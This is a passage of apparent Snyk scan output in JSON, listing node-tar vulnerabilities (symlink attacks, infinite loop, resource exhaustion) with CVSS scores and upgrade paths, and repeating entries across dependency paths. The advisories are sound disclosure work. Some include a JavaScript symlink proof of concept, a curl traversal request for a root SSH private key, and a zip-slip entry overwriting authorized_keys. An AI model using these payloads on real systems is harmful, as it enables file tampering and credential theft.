zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub 